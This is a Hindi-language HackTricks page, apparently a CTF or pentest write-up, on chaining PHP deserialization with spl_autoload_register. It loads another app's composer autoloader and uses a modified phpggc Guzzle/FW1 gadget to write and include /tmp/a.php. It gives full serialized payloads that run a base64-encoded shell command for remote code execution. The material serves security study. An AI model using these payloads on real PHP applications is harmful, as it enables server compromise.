hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

97 lines
14 KiB
Markdown

# PHP - डीसीरियलाइजेशन + ऑटोलोड क्लासेस
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PR जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
</details>
पहले, आपको देखना चाहिए कि [**ऑटोलोडिंग क्लासेस**](https://www.php.net/manual/en/language.oop5.autoload.php) क्या हैं।
## PHP डीसीरियलाइजेशन + spl\_autoload\_register + LFI/Gadget
हम एक स्थिति में हैं जहाँ हमने एक **वेब ऐप में PHP डीसीरियलाइजेशन** पाया है जिसमें **`phpggc`** के अंदर कोई गैजेट वलनरेबल लाइब्रेरी नहीं है। हालांकि, उसी कंटेनर में एक **वलनरेबल लाइब्रेरी के साथ अलग कंपोजर वेब ऐप** था। इसलिए, लक्ष्य था कि **दूसरे वेब ऐप के कंपोजर लोडर को लोड करें** और इसका दुरुपयोग करें ताकि **उस लाइब्रेरी को एक गैजेट के साथ उत्पीड़ित करें** जो डीसीरियलाइजेशन के लिए वलनरेबल वेब ऐप से है।
चरण:
* आपने एक **डीसीरियलाइजेशन** पाया है और वर्तमान ऐप कोड में कोई **गैजेट नहीं** है
* आप निम्नलिखित तरह का **`spl_autoload_register`** फ़ंक्शन दुरुपयोग कर सकते हैं ताकि **`.php` एक्सटेंशन वाली किसी भी स्थानीय फ़ाइल को लोड** करें
* इसके लिए आप एक डीसीरियलाइजेशन का दुरुपयोग करते हैं जिसमें क्लास का नाम **`$name`** के अंदर होगा। आप **"/" या "."** का उपयोग एक सीरीयलाइज्ड ऑब्जेक्ट में क्लास नाम में नहीं कर सकते हैं, लेकिन **कोड** ने **अंडरस्कोर** ("\_") को **स्लैश** ("/") में **बदल दिया है**। इसलिए, एक क्लास नाम जैसे `tmp_passwd` को `/tmp/passwd.php` में बदल दिया जाएगा और कोड इसे लोड करने की कोशिश करेगा।\
एक **गैजेट उदाहरण** होगा: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
{% hint style="success" %}
यदि आपके पास एक **फ़ाइल अपलोड** है और आप एक फ़ाइल अपलोड कर सकते हैं जिसमें **`.php` एक्सटेंशन** है, तो आप इस कार्यक्षमता का सीधा दुरुपयोग कर सकते हैं और पहले से ही RCE प्राप्त कर सकते हैं।
{% endhint %}
मेरे मामले में, मेरे पास ऐसा कुछ नहीं था, लेकिन **एक ही कंटेनर** में एक और कॉम्पोज़र वेब पेज था जिसमें एक `phpggc` गैजेट के लिए एक लाइब्रेरी वंशवत था।
* इस दूसरी लाइब्रेरी को लोड करने के लिए, पहले आपको **उस दूसरे वेब ऐप के कॉम्पोज़र लोडर को लोड करना होगा** (क्योंकि मौजूदा एप्लिकेशन का वन अन्य की लाइब्रेरी तक पहुंच नहीं होगा)। **एप्लिकेशन के पथ को जानते हुए**, आप इसे बहुत आसानी से प्राप्त कर सकते हैं: **`O:28:"www_frontend_vendor_autoload":0:{}`** (मेरे मामले में, कॉम्पोज़र लोडर `/www/frontend/vendor/autoload.php` में था)
* अब, आप **अन्य ऐप कॉम्पोज़र लोडर** को **लोड** कर सकते हैं, तो अब समय है **`phpggc`** **पेलोड** उपयोग करने के लिए। मेरे मामले में, मैंने **`Guzzle/FW1`** का उपयोग किया, जिसने मुझे **फ़ाइल सिस्टम के अंदर कोई भी फ़ाइल लिखने** की अनुमति दी।
* ध्यान दें: **उत्पन्न गैजेट काम नहीं कर रहा था**, इसे काम करने के लिए मैंने उस पेलोड **`chain.php`** को संशोधित किया और सभी विशेषताएँ क्लासों की **निजी से सार्वजनिक** में सेट की। अगर नहीं, स्ट्रिंग को डिसीरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स की विशेषताएँ कोई मान नहीं रखती थीं।
* अब हमारे पास तरीका है **अन्य ऐप कॉम्पोज़र लोडर** को लोड करने का और एक **काम करने वाला phpggc पेलोड** है, लेकिन हमें **इसे इसी अनुरोध में करने की आवश्यकता है ताकि गैजेट का उपयोग किया जाए जब लोडर लोड हो**। उसके लिए, मैंने एक सीरीयलाइज़ एरे भेजा जिसमें दोनों ऑब्जेक्ट्स थे:
* आप **पहले लोडर को लोड होते देख सकते हैं और फिर पेलोड**
{% code overflow="wrap" %}
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
* अब, हम **एक फ़ाइल बना सकते हैं और लिख सकते हैं**, हालांकि, उपयोगकर्ता **वेब सर्वर के अंदर किसी भी फ़ोल्डर में लिख नहीं सकता था**। इसलिए, जैसा कि आप पेलोड में देख सकते हैं, PHP **`system`** को कुछ **base64** के साथ बनाया गया है **`/tmp/a.php`** में। फिर, हम **दूसरे वेबऐप के कॉम्पोज़र लोडर को लोड करने के लिए पहले प्रकार के पेलोड को पुनः प्रयोग कर सकते हैं** जिसे हमने LFI के रूप में उपयोग किया था **`/tmp/a.php`** फ़ाइल को लोड करने के लिए। इसे डेसीरियलाइज़ेशन गैजेट में जोड़ें:&#x20;
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
{% endcode %}
**पेलोड का सारांश**
* **एक अलग वेबऐप के कंटेनर में कॉम्पोजर ऑटोलोड** लोड करें
* **फिलहाल वेबऐप के लाइब्रेरी का दुरुपयोग करने के लिए एक फीजी साधन लोड** करें (जिस पर डेसीरियलाइजेशन के लिए विकल्प वेबऐप में कोई गैजेट नहीं था)
* फीजी **एक फ़ाइल बनाएगा जिसमें PHP पेलोड** होगा जिसमें दुराचारी कमांड होंगे (/tmp/a.php में) (वेबऐप उपयोगकर्ता किसी भी वेबऐप के किसी भी फ़ोल्डर में लिख नहीं सकता)
* हमारे पेलोड का अंतिम हिस्सा **उस उत्पन्न PHP फ़ाइल को लोड करेगा** जो कमांड निष्पादित करेगा
मुझे **इस डेसीरियलाइजेशन को दो बार कॉल करने की आवश्यकता** थी। मेरे परीक्षण में, पहली बार `/tmp/a.php` फ़ाइल बनाई गई थी लेकिन लोड नहीं हुई, और दूसरी बार यह सही ढंग से लोड हुई।
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फ़ॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
</details>